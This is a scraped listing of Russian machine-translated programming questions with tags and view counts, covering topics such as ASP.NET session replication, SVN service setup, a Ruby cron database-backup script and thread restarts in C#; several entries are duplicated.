Есть ли способ для меня сериализовать объект Type ? Обратите внимание, что я не пытаюсь сериализовать сам StringBuilder , а объект Type , содержащий метаданные о классе StringBuilder .

c#   serialization    

585   6   13:02, 29th August, 2020


Решение для репликации сеансов FOSS ASP.Net?

Я искал (с небольшим успехом) свободное/открытое решение для кластеризации сеансов и репликации для asp.net. Я столкнулся с обычными подозреваемыми (indexus sharedcache, memcached), однако у каждого из них есть некоторые ограничения.

  • Indexus - очень незрелая, заглушенная реализация интерфейса сеанса. Однако в остальном это отличное решение для кэширования.
  • Memcached -небольшая поддержка репликации/failover без перехода на серверную часть БД. Несколько проектов SF.Net-все прерваны на ранних стадиях... ничего такого, что, по-видимому, имеет какую-то тягу, и тот, который, по-видимому, стал полностью коммерческим.
  • Microsoft Velocity -не OSS, но вроде неплохо. К сожалению, я не видел, где CTP1 поддерживает failover,и нет четкой дорожной карты для этого. Я боюсь,что этот может упасть в эфир, как и многие другие проекты MS dev.

Я достаточно привык к миру Java, где считается само собой разумеющимся, что многие решения подобных проблем будут доступны из мира FOSS.

Существуют ли какие-либо подходящие альтернативы в мире .Net?

asp.net   session   cluster-computing   failover   session-replication    

536   4   15:11, 2nd August, 2020


Автоматизировать добавление записей в wiki

Как только у меня есть переименованные файлы, мне нужно добавить их на страницу project wiki. Это довольно повторяющаяся ручная задача, поэтому я думаю, что могу написать ее, но я не знаю, с чего начать.

Процесс такой:

Got to appropriate page on the wiki

for each team member (DeveloperA, DeveloperB, DeveloperC)
{
    for each of two files ('*_current.jpg', '*_lastweek.jpg')
    {
        Select 'Attach' link on page
        Select the 'manage' link next to the file to be updated
        Click 'Browse' button
        Browse to the relevant file (which has the same name as the previous version)
        Click 'Upload file' button
    }
}

Не обязательно искать полное решение, как я хотел бы дать ему идти сам.

С чего начать? На каком языке я могу это сделать и насколько это будет сложно?

scripting   automation   webautomation    

503   3   12:29, 27th August, 2020


Как вы можете опубликовать приложение ClickOnce через CruiseControl.NET?

У меня есть CruiseControl.NET версия 1.4, настроенная на моем сервере разработки. Всякий раз, когда разработчик проверяет код, он делает компиляцию.

Теперь мы находимся в том месте, где мы можем начать давать наше приложение тестировщикам. Мы хотели бы использовать ClickOnce для распространения приложения, причем идея заключается в том, что когда тестировщик идет тестировать приложение, у него есть последняя сборка.

Я не могу найти способ сделать так, чтобы это произошло с CruiseControl.NET. Мы используем MSBUILD для выполнения сборок.

msbuild   clickonce   cruisecontrol.net   publish    

461   5   02:48, 29th August, 2020


Как получить список каталогов в C?

Как вы сканируете каталог на наличие папок и файлов в C? Он должен быть кроссплатформенным.

c   file   directory   common-tasks    

642   10   07:23, 12th August, 2020


Оценка экспрессии и Хождение по деревьям с использованием полиморфизма? (Ала Стив Егге)

Сегодня утром я читал книгу Стива Йегге "когда полиморфизм терпит неудачу", когда наткнулся на вопрос, который его коллега обычно задавал потенциальным сотрудникам, когда они приходили на собеседование в Amazon.

Как пример полиморфизма в действие, давайте посмотрим на классику "eval" вопрос интервью, который (как насколько я знаю) был доведен до Amazon автор: Рон Браунштейн. Вопрос в том довольно богатый, как ему удается зондируйте большое разнообразие важных навыки: OOP дизайн, рекурсия, двоичный код деревья, полиморфизм и время выполнения набор текста, общие навыки кодирования и (если вы хотите сделать его еще более трудным) теория парсинга.

В какой-то момент кандидат с надеждой осознает, что вы можете представлять собой арифметическое выражение в двоичном виде дерево, предполагая, что вы только используете бинарные операторы, такие как" +", "-", "* " ,"/". Листовые узлы - это все числа, а внутренние узлы являются все операторы. Оценка состояния выражение означает ходить по дереву. Если кандидат этого не понимает, вы можете мягко привести их к этому, или если это необходимо, просто скажи им.

Даже если ты расскажешь им, это все равно будет неприятно. интересная проблема.

Первая половина вопроса, которая некоторые люди (чьи имена я буду называть защищать до последнего вздоха, но их инициалы-Вилли Льюис) feel is a Требования К Работе, Если Вы Хотите Позвонить Вы Сами Разработчик И Работаете На Amazon, на самом деле довольно сложно. То вопрос заключается в следующем: как вы идете от Ан арифметическое выражение (например, в a строку), такие как "2 + (2)" к дерево выражения. У нас может быть ADJ вызов по этому вопросу у некоторых точка.

Вторая половина такова: допустим, это проект из 2 человек и ваш партнер, кого мы будем называть "Willie", это ответственный за преобразование строковое выражение в дереве. Вы получаете самая простая часть: вам нужно решить, что именно классы Вилли должен построить дерево С. Вы можете сделать это в любом случае язык, но убедитесь, что вы выбираете один, или Вилли вручит тебе assembly язык. Если он чувствует себя раздраженным, то это будет для процессора то есть нет дольше производится в производстве.

Вы были бы поражены, узнав, сколько кандидатов БОФФ вот этот.

Я не буду давать вам ответ, но ... Стандартное плохое решение предполагает использование состояния переключателя или случая (или просто доброе старомодное каскадное "если"). Один Немного лучшее решение включает в себя использование таблицы указателей функций, и вероятно лучшее решение предполагает использование полиморфизма. Я рекомендуем вам работать через него иногда. Забавная штука!

Итак, давайте попробуем решить эту проблему всеми тремя способами. Как перейти от арифметического выражения (например, в строке), такого как "2 + (2)", к дереву выражений, используя каскадные if, таблицу указателей функций и / или полиморфизм?

Не стесняйтесь решать один, два или все три вопроса.

[update: заголовок изменен, чтобы лучше соответствовать тому, что было в большинстве ответов.]

oop   recursion   polymorphism   binary-tree    

533   16   03:31, 22nd August, 2020


Инструменты для автоматизации событий мыши и клавиатуры, отправляемых в приложение windows

Какие инструменты полезны для автоматизации перехода через приложение формы windows? Это вообще полезно? Я вижу, что тестеры в моей компании делают это очень много, и это кажется пустой тратой времени.

testing   automation    

437   5   11:54, 12th August, 2020


Используя каталог XML с Python lxml?

Есть ли способ, когда я анализирую документ XML с помощью lxml, чтобы проверить этот документ против его DTD с помощью внешнего файла каталога? Мне нужно уметь работать с фиксированными атрибутами, определенными в документе DTD.

python   xml   lxml    

526   3   08:04, 4th August, 2020


Можете ли вы проверить, что исключение выбрасывается с doctest в Python?

Можно ли написать модульный тест doctest, который проверит, что возникло исключение?
Например, если у меня есть функция foo(x) , которая должна вызывать исключение if x<0, как бы я написал doctest для этого?

python   doctest    

480   2   12:14, 20th August, 2020


Списки контроля доступа и объекты контроля доступа, хороший учебник?

мы разрабатываем веб-приложение, чтобы охватить все аспекты деятельности полиграфической компании: от финансов до расчета заработной платы и калькуляции стоимости работ. Важно иметь возможность контролировать, кто может получить доступ к каким частям этих приложений. Не хочу, чтобы линейный сотрудник давал себе повышение и т. д...

Я слышал о концепции ACL & ACO, но не нашел хорошего примера, который мы могли бы адаптировать к нашему проекту.

Кто-нибудь знает, где я могу найти хорошую информацию для работы?

permissions   acl    

432   3   03:18, 28th August, 2020


IronPython и ASP.NET

Кто-нибудь построил сайт с IronPython и ASP.NET. Каковы были ваши впечатления и готова ли комбинация к прайм-тайму?

asp.net   ironpython    

477   3   19:50, 12th August, 2020


Настройка Subversion на Windows в качестве сервиса

При установке subversion в качестве службы я использовал эту команду:

c:\>svnservice -install --daemon --root "c:\documents and settings\my_repository"

И тогда я получил эту ошибку:

Could not create service in service control manager.

После просмотра некоторых документов MSDN в диспетчере управления службами я попытался предоставить полный контроль всем в разрешениях на раздел реестра в HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services, но это не возымело никакого эффекта.

Кто-нибудь знает, что я сделал не так, или как преодолеть это?

Примечание #1: я работаю в качестве администратора на этом поле

*Note #2: я следовал инструкциям, приведенным здесь, поэтому, возможно, мой выбор каталога ошибочен. И мой репозиторий на самом деле не называется "my_repository". Я использовал название фактического проекта, который в настоящее время находится под контролем источника в gasp VSS.*

svn   version-control    

479   7   09:55, 13th August, 2020


Присоединение сервера VisualSVN к существующему репозиторию

Все последние сообщения сервера VisualSVN заставили меня захотеть проверить это. У меня есть SVN работает прямо сейчас через Apache, но я хотел бы попробовать VisualSVN сервер, в основном для интеграции Active Directory. Их документы не описывают, можно ли легко перенести существующий репозиторий.

Кто-нибудь делал это раньше?

svn   version-control   visualsvn-server   svn-repository    

554   4   01:50, 19th August, 2020


Кто-Нибудь Использует Исполняемые Требования?

В моем ограниченном опыте работы с ними исполняемые требования (т. е. указание всех требований как сломанных автоматизированных тестов) оказались удивительно успешными. Я работал над одним проектом, в котором мы уделяли большое внимание созданию высокоуровневых автоматизированных тестов, которые использовали всю функциональность данного варианта использования/истории пользователя. Для меня было действительно удивительно, насколько легче становилось развитие после того, как мы начали эту практику. Реализация функций стала намного проще после написания теста, и мы смогли внести серьезные архитектурные изменения в систему со всей уверенностью в том, что все по-прежнему работает так же, как и вчера.

Самая большая проблема, с которой мы столкнулись, заключалась в том, что инструменты для управления этими типами тестов не очень хороши. Мы использовали Fitnesse совсем немного,и в результате я теперь ненавижу рамки Fit.

Я хотел бы знать 1) Есть ли у кого-то еще опыт разработки с использованием этого типа определения требований на основе тестов и 2) Какие инструменты вы все использовали для этого.

testing   process   automation    

487   6   23:07, 13th August, 2020


Фильтр по коду zip или другим стратегиям поиска данных на основе местоположения

Мой маленький сайт должен объединять список элементов из таблицы, используя местоположение активного пользователя в качестве фильтра. Подумайте Craigslist, где вы ищете "dvd", но результаты не из всех DB, они фильтруются по выбранному вами местоположению. Мой вопрос имеет 2 уровня:

  1. должен ли я пойти a-la-craigslist и попросить пользователей использовать местоположение на уровне города? Моя проблема с этим заключается в том, что вам нужно создать то, что кажется мне жестко закодированным, сделанным вручную списком местоположений.
  2. должен ли я пойти a-la-zipCode. Идея просто попросить пользователя ввести его zipcode, а затем объединить все элементы, которые находятся в том же или на определенном расстоянии от его кода zip.

Я, кажется, предпочитаю способ кода zip, поскольку он кажется более элегантным решением, но как на земле можно создать DB из всех кодов zip и реализовать функцию, которая дает код zip 12345, получает все zipcodes на расстоянии 1 мили?

это должно быть довольно распространено "task", поскольку многие сайты имеют потребность, подобную моей, поэтому я надеюсь не изобретать здесь колесо заново.

location   zipcode    

406   5   14:56, 18th August, 2020


Каков хороший способ денормализации базы данных mysql?

У меня есть большая база данных нормализованных данных заказа, которые становятся очень медленными для запроса отчетов. Многие из запросов, которые я использую в отчетах, объединяют пять или шесть таблиц и должны исследовать десятки или сотни тысяч строк.

Есть много запросов, и большинство из них были максимально оптимизированы, чтобы уменьшить нагрузку на сервер и увеличить скорость. Я думаю, что пришло время начать хранить копию данных в денормализованном формате.

Есть идеи по поводу подхода? Должен ли я начать с пары моих худших запросов и пойти оттуда?

mysql   database   denormalization    

438   8   00:41, 12th August, 2020


Репликация базы данных. 2 сервера, главная база данных и 2 - й доступен только для чтения

Допустим, у вас есть 2 сервера баз данных, одна база данных-это база данных 'master', где выполняются все операции записи, она обрабатывается как база данных 'real/original'. База данных другого сервера должна быть зеркальной копией главной базы данных (ведомого?), который будет использоваться только для операций чтения для определенной части приложения.

Как вы собираетесь настроить подчиненную базу данных, которая отражает данные в главной базе данных? Насколько я понимаю, база данных slave/readonly должна использовать файл журнала транзакций master db для правильного отражения данных?
Какие варианты у меня есть с точки зрения того, как часто ведомая база данных отражает данные? (в реальном времени / каждые x минут?).

sql-server   replication    

361   5   06:20, 27th August, 2020


A ThreadStateException возникает при попытке перезапустить поток

Время от времени я получаю System.Threading.ThreadStateException при попытке перезапустить поток. Рассматриваемый код выглядит следующим образом:

// Make sure the thread is done stopping
while (this.mThread.ThreadState == ThreadState.Running)
{ 
    Thread.Sleep(0);
}
// Respawn a thread if the current one is stopped or doesn't exist
if (this.mThread == null || this.mThread.ThreadState == ThreadState.Stopped)
{ 
    this.mThread = new Thread(new ParameterizedThreadStart(Monitor)); }
// Start the thread
if (check)
{ 
    this.mThread.Start(60000); 
}
else
{   
    this.mThread.Start(0); 
}

Итак, два вопроса - Является ли это правильным способом делать вещи, и есть ли способ предотвратить возникновение ошибки?

c#   .net   multithreading   exception    

439   3   15:23, 25th August, 2020


Как интегрировать систему непрерывной интеграции с системой отслеживания ошибок?

Я использую cruisecontrol.rb для CI и FogBugz для отслеживания ошибок, но чем более общие ответы, тем лучше.

Во-первых, это техническая проблема: есть ли API для FogBugz? Есть ли хорошие учебники, или еще лучше, предварительно написанный код?

Во-вторых, это процедурная проблема: что именно должен CI поместить в трекер ошибок, когда сборка ломается? Возможно:

Название: "#{Последний коммиттер} сломал сборку!"

Тело: "# {следы ошибок }"

Я полагаю, что это предполагает ответ на этот вопрос: Должен ли я даже помещать CI breaks в мое отслеживание ошибок?

continuous-integration   bug-tracking   fogbugz   cruisecontrol.rb    

512   3   04:45, 4th August, 2020


Почему моя работа Cron не работает должным образом?

У меня есть работа cron на Ubuntu Hardy VPS, которая работает только наполовину, и я не могу понять, почему. Задание представляет собой сценарий Ruby, который использует mysqldump для резервного копирования базы данных MySQL, используемой приложением Rails, которая затем gzipped и загружается на удаленный сервер с помощью SFTP.

Файл gzip создается и копируется успешно, но это всегда нулевые байты. Тем не менее, если я запускаю команду cron непосредственно из командной строки, Она отлично работает.

Это задание cron:

PATH=/usr/bin
10 3 * * * ruby /home/deploy/bin/datadump.rb

Это datadump.rb:

#!/usr/bin/ruby
require 'yaml'
require 'logger'
require 'rubygems'
require 'net/ssh'
require 'net/sftp'

APP        = '/home/deploy/apps/myapp/current'
LOGFILE    = '/home/deploy/log/data.log'
TIMESTAMP  = '%Y%m%d-%H%M'
TABLES     = 'table1 table2'

log        = Logger.new(LOGFILE, 5, 10 * 1024)
dump       = "myapp-#{Time.now.strftime(TIMESTAMP)}.sql.gz"
ftpconfig  = YAML::load(open('/home/deploy/apps/myapp/shared/config/sftp.yml'))
config     = YAML::load(open(APP + '/config/database.yml'))['production']
cmd        = "mysqldump -u #{config['username']} -p#{config['password']} -h #{config['host']} --add-drop-table --add-locks --extended-insert --lock-tables #{config['database']} #{TABLES} | gzip -cf9 > #{dump}"

log.info 'Getting ready to create a backup'
`#{cmd}`    

# Strongspace
log.info 'Backup created, starting the transfer to Strongspace'
Net::SSH.start(ftpconfig['strongspace']['host'], ftpconfig['strongspace']['username'], ftpconfig['strongspace']['password']) do |ssh|
  ssh.sftp.connect do |sftp|
    sftp.open_handle("#{ftpconfig['strongspace']['dir']}/#{dump}", 'w') do |handle|
      sftp.write(handle, open("#{dump}").read)
    end
  end
end
log.info 'Finished transferring backup to Strongspace'

log.info 'Removing local file'
cmd       = "rm -f #{dump}" 
log.debug "Executing: #{cmd}"
`#{cmd}`
log.info 'Local file removed'

Я проверил и перепроверил все пути, и они верны. Как sftp.yml (учетные данные SFTP), так и database.yml (учетные данные MySQL) принадлежат исполняющему пользователю (deploy) с разрешениями только на чтение для этого пользователя (chmod 400). Я использую 1.1.x версии net-ssh и net-sftp. Я знаю, что они не самые последние, но это то, с чем я знаком в данный момент.

Что может быть причиной сбоя задания cron?

ruby-on-rails   ruby   linux   ubuntu   cron    

438   4   14:06, 11th August, 2020


A ThreadStateException возникает при попытке перезапустить поток

Время от времени я получаю System.Threading.ThreadStateException при попытке перезапустить поток. Рассматриваемый код выглядит следующим образом:

// Make sure the thread is done stopping
while (this.mThread.ThreadState == ThreadState.Running)
{ 
    Thread.Sleep(0);
}
// Respawn a thread if the current one is stopped or doesn't exist
if (this.mThread == null || this.mThread.ThreadState == ThreadState.Stopped)
{ 
    this.mThread = new Thread(new ParameterizedThreadStart(Monitor)); }
// Start the thread
if (check)
{ 
    this.mThread.Start(60000); 
}
else
{   
    this.mThread.Start(0); 
}

Итак, два вопроса - Является ли это правильным способом делать вещи, и есть ли способ предотвратить возникновение ошибки?

c#   .net   multithreading   exception    

522   3   10:47, 3rd August, 2020


Как интегрировать систему непрерывной интеграции с системой отслеживания ошибок?

Я использую cruisecontrol.rb для CI и FogBugz для отслеживания ошибок, но чем более общие ответы, тем лучше.

Во-первых, это техническая проблема: есть ли API для FogBugz? Есть ли хорошие учебники, или еще лучше, предварительно написанный код?

Во-вторых, это процедурная проблема: что именно должен CI поместить в трекер ошибок, когда сборка ломается? Возможно:

Название: "#{Последний коммиттер} сломал сборку!"

Тело: "# {следы ошибок }"

Я полагаю, что это предполагает ответ на этот вопрос: Должен ли я даже помещать CI breaks в мое отслеживание ошибок?

continuous-integration   bug-tracking   fogbugz   cruisecontrol.rb    

509   3   14:53, 13th August, 2020


Почему моя работа Cron не работает должным образом?

У меня есть работа cron на Ubuntu Hardy VPS, которая работает только наполовину, и я не могу понять, почему. Задание представляет собой сценарий Ruby, который использует mysqldump для резервного копирования базы данных MySQL, используемой приложением Rails, которая затем gzipped и загружается на удаленный сервер с помощью SFTP.

Файл gzip создается и копируется успешно, но это всегда нулевые байты. Тем не менее, если я запускаю команду cron непосредственно из командной строки, Она отлично работает.

Это задание cron:

PATH=/usr/bin
10 3 * * * ruby /home/deploy/bin/datadump.rb

Это datadump.rb:

#!/usr/bin/ruby
require 'yaml'
require 'logger'
require 'rubygems'
require 'net/ssh'
require 'net/sftp'

APP        = '/home/deploy/apps/myapp/current'
LOGFILE    = '/home/deploy/log/data.log'
TIMESTAMP  = '%Y%m%d-%H%M'
TABLES     = 'table1 table2'

log        = Logger.new(LOGFILE, 5, 10 * 1024)
dump       = "myapp-#{Time.now.strftime(TIMESTAMP)}.sql.gz"
ftpconfig  = YAML::load(open('/home/deploy/apps/myapp/shared/config/sftp.yml'))
config     = YAML::load(open(APP + '/config/database.yml'))['production']
cmd        = "mysqldump -u #{config['username']} -p#{config['password']} -h #{config['host']} --add-drop-table --add-locks --extended-insert --lock-tables #{config['database']} #{TABLES} | gzip -cf9 > #{dump}"

log.info 'Getting ready to create a backup'
`#{cmd}`    

# Strongspace
log.info 'Backup created, starting the transfer to Strongspace'
Net::SSH.start(ftpconfig['strongspace']['host'], ftpconfig['strongspace']['username'], ftpconfig['strongspace']['password']) do |ssh|
  ssh.sftp.connect do |sftp|
    sftp.open_handle("#{ftpconfig['strongspace']['dir']}/#{dump}", 'w') do |handle|
      sftp.write(handle, open("#{dump}").read)
    end
  end
end
log.info 'Finished transferring backup to Strongspace'

log.info 'Removing local file'
cmd       = "rm -f #{dump}" 
log.debug "Executing: #{cmd}"
`#{cmd}`
log.info 'Local file removed'

Я проверил и перепроверил все пути, и они верны. Как sftp.yml (учетные данные SFTP), так и database.yml (учетные данные MySQL) принадлежат исполняющему пользователю (deploy) с разрешениями только на чтение для этого пользователя (chmod 400). Я использую 1.1.x версии net-ssh и net-sftp. Я знаю, что они не самые последние, но это то, с чем я знаком в данный момент.

Что может быть причиной сбоя задания cron?

ruby-on-rails   ruby   linux   ubuntu   cron    

464   4   07:06, 15th August, 2020


Как я могу рефакторинг HTML markup из моих файлов свойств?

Недавно я унаследовал интернационализированное и тяжелое для текста веб-приложение Struts 1.1. Многие из файлов JSP выглядят так:

<p>
    <bean:message key="alert" />
</p>

и файлы свойств выглядят так:

messages.properties
alert=Please update your <a href="/address.do">address</a> and <a href="/contact.do">contact information</a>.

с соответствующими переводами на N других языках (messages_fr.properties и др.).

Проблемы:

  1. DRY нарушение -у меня есть N ссылок на мое Struts действие URLs вместо 1, что делает рефакторинг действия URLs подверженным ошибкам.
  2. Смешанные проблемы -мое приложение markup теперь находится не только в моих файлах JSP, что затрудняет веб-специалисту настройку markup (используя CSS и т. д.).
  3. Post-translation markup -всякий раз, когда я получаю недавно переведенный текст, я должен решить, что окружить <a>...</a> markup. Легко для английского языка, но менее так для незнакомых языков.

Я рассмотрел возможность добавления заполнителей в файл сообщений, например:

alert=Please update your {0} and {1}.

но тогда слова "address" и "contact information" каким - то образом должны быть локализованы, обернуты markup и переданы в мой тег сообщения-и я не вижу простого способа сделать это.

Что я могу сделать, чтобы улучшить это?

java   jsp   internationalization   struts    

447   4   14:57, 1st August, 2020


OpenID аутентификация в Ruby на Rails

Я неофит с Ruby на Rails, но я создал несколько небольших приложений. В любом случае, я действительно заинтересован в OpenID и хотел бы реализовать аутентификацию OpenID и, возможно, некоторые вещи Sreg в приложении Rails. Все исследования, которые я провел, пришли к статьям, которые устарели или просто не работают для меня. Поскольку я так новичок в Rails, мне трудно отлаживать проблемы таким образом...

Как лучше всего реализовать OpenId в Rails?

ruby-on-rails   ruby   authentication   openid    

440   5   00:31, 8th August, 2020


Есть ли хорошие ресурсы или советы для работы с языками с разной ориентацией? (например, японский или китайский)

У нас есть корпоративное веб-приложение, где каждый бит текста в системе локализован в соответствии с настройками языка и региональных параметров браузера пользователя.

До сих пор мы поддерживали только английский, американский (аналогичный, но неправильно написанный; -) и французский (для канадского правительства-приложение на английском или французском языке в зависимости от предпочтений пользователя). Во время разработки мы также имели в виду некоторые европейские языки, такие как голландский и немецкий, которые имеют тенденцию объединять слова в очень длинные.

В настоящее время мы изучаем поддержку восточных языков: китайского, японского и так далее. Я понимаю, что они используют фонетический ввод, преобразованный в письменные символы. Как это работает в интернете? Сделайте то же самое, что происходит при редактировании входных данных и текстовых областей (мы довольно тяжелы).

Какие соглашения ожидают пользователи этих нисходящих языков в интернете?

Как влияет их двойной ввод (фонетический ввод + преобразование) на веб-элементы управления?

С RTL языками, такими как арабский, пользователи ожидают, что весь интерфейс будет зеркальным? Например, должны ли такие вещи, как кнопки OK/Cancel, быть заменены и слева?

internationalization   multilingual    

438   3   06:39, 13th August, 2020


Сколько времени вашего рабочего дня уходит на кодирование?

В последнее время я думаю об оценке программного обеспечения, и у меня есть куча вопросов о времени, потраченном на кодирование. Мне любопытно услышать от людей, которые имеют по крайней мере пару лет опыта разработки программного обеспечения.

Когда вам нужно оценить количество времени, которое вы потратите на работу над чем-то, сколько часов в день вы тратите на кодирование? Что занимает остальные некодирующие часы?

Находите ли вы, что тратите больше или меньше часов, чем ваши товарищи по команде на кодирование? Вы чувствуете, что выполняете больше или меньше работы, чем они?

Каковы ваши условия работы? Личный кабинет, общий офис, командная комната? Кодирование в одиночку или в паре? Как ваше рабочее состояние изменило количество времени, которое вы тратите на кодирование каждый день? Если вы можете работать из дома, это помогает или вредит вашей производительности?

Какую методологию разработки вы используете? Водопад? Agile? Повлиял ли переход от одной методологии к другой на ваши часы кодирования в день?

Самое главное: довольны ли вы своей производительностью? Если нет, то какое единственное изменение вы бы сделали, которое оказало бы на него наибольшее влияние?

estimation   time-management    

429   9   21:06, 1st October, 2020


Разработка для нескольких мониторов

В настоящее время мы работаем над новой версией нашего основного приложения. одна вещь, над которой я действительно хочу работать, - это поддержка нескольких мониторов. Все чаще наши целевые пользователи добавляют вторые экраны к своим рабочим столам, и я думаю, что наш продукт может использовать это дополнительное пространство для повышения производительности пользователей.

Наше приложение-это финансовый пакет, который поддерживает лизинговые и флотские компании-очень специализированный рынок. При этом я уверен, что у многих людей с несколькими мониторами есть любимый бит программного обеспечения, который, по их мнению, был бы улучшен, если бы он лучше поддерживал эти дополнительные экраны.

Я ищу некоторые мнения о тех придирках, которые у вас есть с текущим программным обеспечением, и как вы думаете, что они могут быть улучшены для поддержки нескольких мониторов. Моя цель состоит в том, чтобы затем просмотреть их и решить, как я могу их реализовать и, надеюсь, обеспечить еще лучшую среду для моих пользователей.

Ваша помощь будет оценена по достоинству. Спасибо.

user-interface   hardware   monitor   environment    

456   7   14:40, 9th August, 2020


Замена для for... при итерации массива

Я люблю понимание списка в Python, потому что они лаконично представляют собой преобразование списка.

Однако на других языках я часто ловлю себя на том, что пишу что-то вроде::

foreach (int x in intArray)
  if (x > 3) //generic condition on x
    x++ 
    //do other processing

Этот пример находится в C#,, где я под впечатлением LINQ может помочь с этим, но есть ли какая-то общая программная конструкция, которая может заменить это слегка less-than-elegant решение? Возможно, структура данных, которую я не рассматриваю?

.net   python   arrays   loops   iteration    

583   6   18:11, 14th August, 2020


Работает ли CruiseControl.NET на IIS 7.0?

Я новичок в разработке (администратор по торговле), и я настраиваю свою среду разработки, и я хотел бы настроить сервер CruiseControl.Net на сервере 2008. Быстрый Google не нашел никаких инструкций для запуска его на IIS 7.0, поэтому мне было интересно, есть ли у кого-нибудь опыт в этой настройке.

iis-7   cruisecontrol.net    

412   4   04:33, 20th August, 2020


Программный доступ к стеку вызовов в .чистая

Как я могу получить программный доступ к стеку вызовов?

.net   reflection   callstack    

408   3   23:31, 2nd August, 2020


Python версия полосатых слешей PHP

Я написал кусок кода для преобразования полосок PHP в допустимые эскейпы Python [обратная косая черта] :

cleaned = stringwithslashes
cleaned = cleaned.replace('\\n', '\n')
cleaned = cleaned.replace('\\r', '\n')
cleaned = cleaned.replace('\\', '')

Как я могу его сгущать?

python   string   escaping    

448   5   06:07, 29th August, 2020


Теория (и терминология) управления версиями

Я пробовал использовать систему управления версиями для нескольких проектов, но все еще не очень понимаю ее. Для этих проектов мы использовали TortoiseSVN и имели только одну строку ревизий. (Ни ствола, ни ветки, ничего подобного.) Если существует рекомендуемый способ настройки систем управления версиями, то каковы они? Каковы причины и преимущества для того, чтобы настроить его таким образом? Каковы основные различия между работой централизованной и распределенной систем управления версиями?

version-control    

434   5   04:01, 27th August, 2020


Существуют ли какие-либо компоненты "mind mapping" для Delphi? (родной VCL предпочтительно)

Я ищу предварительно написанный компонент (w/source) для проекта Delphi, над которым я работаю, чтобы создать ментальные карты / концептуальные карты, подобные этим:

http://en.wikipedia.org/wiki/Image:MindMeister_screenshot_OS_X.jpg http://en.wikipedia.org/wiki/Image:XMIND_2008_in_Windows_Vista.png

Есть какие-нибудь идеи?

delphi   components   vcl   mindmapping    

545   9   06:55, 7th August, 2020


Как вы держите две взаимосвязанные, но отдельные системы в синхронизации друг с другом?

Мой нынешний проект развития имеет два аспекта. Во-первых, существует общедоступный веб-сайт, на котором внешние пользователи могут представлять и обновлять информацию для различных целей. Эта информация затем сохраняется на локальном сервере SQL на объекте colo.

Второй аспект - это внутреннее приложение, которое сотрудники используют для управления теми же записями (концептуально)и предоставления обновлений статуса, утверждений и т. д. Это приложение размещается в корпоративном брандмауэре с собственной локальной базой данных сервера SQL.

Эти две сети соединены аппаратным решением VPN, которое является приличным,но явно не самым быстрым в мире.

Эти две базы данных похожи и имеют много общих таблиц, но они не являются 100% одинаковыми. Многие таблицы с обеих сторон очень специфичны для внутреннего или внешнего применения.

Таким образом, возникает вопрос: когда пользователь обновляет свою информацию или представляет запись на общедоступном веб-сайте, Как вы передаете эти данные в базу данных внутреннего приложения, чтобы она могла управляться внутренним персоналом? И наоборот... как ВЫ продвигаете обновления, сделанные сотрудниками, обратно на веб-сайт?

Стоит отметить, что чем больше "real time" таких обновлений происходит, тем лучше. Не то чтобы это было мгновенно, просто достаточно быстро.

До сих пор я думал об использовании следующих типов подходов:

  1. Двунаправленная репликация
  2. Веб-сервис взаимодействует с обеих сторон с кодом для синхронизации изменений по мере их внесения (в режиме реального времени).
  3. Веб-службы взаимодействуют с обеих сторон с кодом для асинхронной синхронизации изменений (с помощью механизма массового обслуживания).

Какой-нибудь совет? Кто-нибудь сталкивался с этой проблемой раньше? Вы придумали решение, которое хорошо сработало для вас?

sql-server   database   synchronization   distributed    

507   5   20:16, 18th August, 2020


одновременные напоминания Outlook на нескольких устройствах

Отказ от ответственности: на самом деле это не вопрос программирования, но я чувствую, что аудитория на stackoverflow с большей вероятностью получит ответ, чем большинство сайтов вопросов/ответов.

Пожалуйста, прости меня, Джоэл, за то, что я украл твой вопрос. Джоэл задал этот вопрос на подкасте некоторое время назад, но я не думаю, что он когда-либо был решен. Я нахожусь в такой же ситуации, поэтому я также ищу ответ.

У меня есть несколько устройств, которые все синхронизируются с MS-Outlook. PCs, ноутбуки, смартфоны, PDAs и др. все имеют возможность синхронизировать свои данные (календари, письма, контакты и т. д.) с сервером Exchange. Мне нравится использовать уведомление о встрече Outlook или напоминания о назначении, чтобы напомнить мне о предстоящей встрече или назначении врача или о чем-то еще. Проблема заключается в том, что все устройства всплывают одно и то же напоминание, и я должен перейти к каждому отдельному устройству индивидуально, чтобы отложить или отклонить все одинаковые всплывающие окна напоминания.

Поскольку это технология синхронизации, почему тот факт, что я откладываю или отклоняю на одном устройстве, не синхронизирует другие устройства автоматически. Я даже пытался принудительно синхронизировать после отклонения напоминания, и он все еще появляется на других моих устройствах после принудительной синхронизации. Это очень раздражает меня.

Есть ли параметр, который я пропускаю, или есть сторонняя утилита напоминания, которую я должен использовать вместо встроенного материала?

Спасибо, Курт

windows   outlook   synchronization   reminders    

474   4   17:37, 13th August, 2020


Синхронизация браузера на многих компьютерах

Все помнят Google browser sync правильно? Я думал, что это было здорово. К сожалению, Google решил не обновлять сервис до Firefox 3.0. Mozilla разрабатывает замену для Google browser sync, которая будет частью проекта Weave. Я пробовал использовать Weave и обнаружил, что он очень медленный или полностью неоперабельный. Конечно, они находятся на ранней стадии развития прямо сейчас, поэтому я не могу жаловаться.

Эта конкретная проблема синхронизации браузера заставила меня задуматься. Что вы все думаете о Mozilla или о ком-то, кто делает пакет сервера/клиента, который мы, пользователи, могли бы запустить на вашей машине 'main'? Теперь вам просто нужно знать свой собственный IP или иметь какой-то способ объявить об этом вашим клиентским браузерам на работе или где-то еще.

Есть несколько проблем, которые я могу придумать с этим: нестатический IPs, открытие портов на вашем локальном компьютере и т. д. Просто кажется, что Mozilla не хочет обрабатывать этот трафик, созданный многими людьми, синхронизирующими свои браузеры. Для них нет способа монетизировать этот трафик, так как все загруженные данные должны быть зашифрованы.

firefox   browser   synchronization    

382   4   17:37, 26th August, 2020


Bootstrapping все еще требует внешней поддержки

Я слышал об идее bootstrapping языка, то есть написания компилятора/интерпретатора для самого языка. Мне было интересно, как это можно сделать, и я немного огляделся, и увидел, что кто-то сказал, что это может быть сделано только одним из них

  • написание исходного компилятора на другом языке.
  • ручное кодирование исходного компилятора в Assembly, что выглядит как частный случай первого

Мне кажется, что ни то, ни другое на самом деле не является языком в том смысле, что они оба нуждаются в поддержке извне. Есть ли способ на самом деле написать компилятор на своем собственном языке?

compiler-construction   bootstrapping    

728   11   14:14, 29th August, 2020


пользовательские элементы управления и asp.net mvc

